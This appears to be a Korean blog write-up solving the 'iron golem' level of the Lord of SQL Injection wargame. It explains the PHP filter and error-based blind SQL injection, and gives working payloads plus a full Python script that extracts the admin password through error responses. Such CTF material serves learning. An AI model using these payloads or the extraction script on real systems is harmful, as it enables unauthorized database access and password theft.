Almon Dev

[Lord of SQL Injection] irongolem 문제 풀이 본문

웹 해킹/Lord of SQLi

[Lord of SQL Injection] irongolem 문제 풀이

Almon 2025. 5. 13. 00:16

iron golem 문제 풀이

 

iron golem 문제

 

문제 분석

 

 문제 목표

GET 메서드의 pw 파라미터 값과 데이터베이스에서 가져온 admin 계정의 비밀번호가 일치할 경우, solve("iron_golem") 함수가 실행됩니다. 이 함수는 문제를 성공적으로 해결했을 때 호출되는 것으로 보이므로,  이 문제의 목표는 admin 계정의 비밀번호를 탈취하는 것으로 보입니다.

$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");

 

 입력 제한

pw 파라미터에 sleep, benchmark 가 입력되는 경우 exit 함수를 실행해 PHP 코드 실행이 중단됩니다. sleep과 benchmark 두 함수는 Time Based SQL Injection에서 활용되는 함수입니다.

sleep => SQL 실행을 지연시키는 함수입니다.
ex) select if(id = 'admin' and pw like "1%", sleep(5), 0) from member -> admin 계정의 비밀번호 첫자리가 1이면 5초 지연됩니다.

benchmark => 연산을 반복하는 함수입니다.
ex) select if(id = 'admin' and pw like '1%', benchmark(10000, SHA1('benchmark')), 0) from member -> admin 계정의 비밀번호 첫자리가 1이면 SHA1('benchmark')를 1만 번 반복합니다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");

 

 취약점 분석

pw 파라미터에서 sleep, benchmark 외의 필터링이 존재하지 않아 SQL Injection이 확실히 가능하지만, 쿼리의 결과가 화면에 출력되지 않아, 원하는 정보를 추출하기가 힘듭니다. 하지만 SQL 문법 에러가 발생했을 때 에러 페이지가 화면에 출력되는 점을 이용해서 고의로 에러를 발생시켜 참과 거짓을 구분하는 Error Based SQL Injection이 가능합니다.

select 1 union select 2 => pw 컬럼 하나만 가져오는 쿼리에 삽입하면 컬럼 수 가 불일치로 에러가 발생합니다.

 

문제 풀이

 

1. pw 파라미터에 '(작은따옴표)를 삽입하면 SQL 문법 에러가 발생하여 에러 페이지가 출력됩니다.

 

2. 1=2 거짓 쿼리와 1=1 참 쿼리를 삽입하여 참과 거짓의 결과가 다른 것을 확인합니다.

 

3. Blind SQL Injection을 위해서 공격 format을 생성합니다.

 

4. Python 코드를 생성합니다.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import codecs

def sqli_request(url, session, index, ascii):
    params = f"?pw=' or if(ascii(substr(pw,{index},1)) > {ascii}, (select 1 union select 2), 1) and '1'='1"
    url += params
    response = session.get(url)
    # response = session.get(url, proxies=proxies, verify=False)
    if "Subquery returns" in response.text:
        return True
    else:
        return False

url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
proxies = {
    "http": "http://localhost:8080",
    "https": "http://localhost:8080"
}

session = requests.Session()
session_id = "PHPSESSID"
session.cookies.set("PHPSESSID", session_id)

sql_result = ""

index = 1
while True:
    left = 0
    right = 127
    if not sqli_request(url, session, index, 0):
        sql_result = ""
        print("\n")
        break
    while True:
        mid = (left + right) // 2
        if sqli_request(url, session, index, mid):
            left = mid + 1
        else:
            right = mid
        
        if left == right:
            index += 1
            sql_result += chr(left)
            print(f"\rData : {sql_result}", end="")
            break

 

5. Python으로 비밀번호를 추출합니다.

 

6. 비밀번호를 삽입하여 문제 풀이를 완료합니다.

 

 

실수

문제를 풀다가 분명히 문법적으로 틀린 게 없는데도 에러 페이지가 출력되지 않아서 꽤 많은 시간을 허비했습니다. 문제는 or과 and의 연산 순서와 최적화 때문이었는데, 뒷 부분에 주석을 쓰지 않고 문제를 풀기 위해 추가한 or '1' = '1 부분이 문제였습니다.

or if(ascii(substr(pw,1,1)) > 0, (select 1 union select 2), 1) or '1'='1

or이 두번 반복되는 경우 1=1은 항상 참이기때문에 앞의 if 문이 실행되지 않아 에러페이지가 출력되지 않은 것입니다.

or '1' = '1
and '1' = '1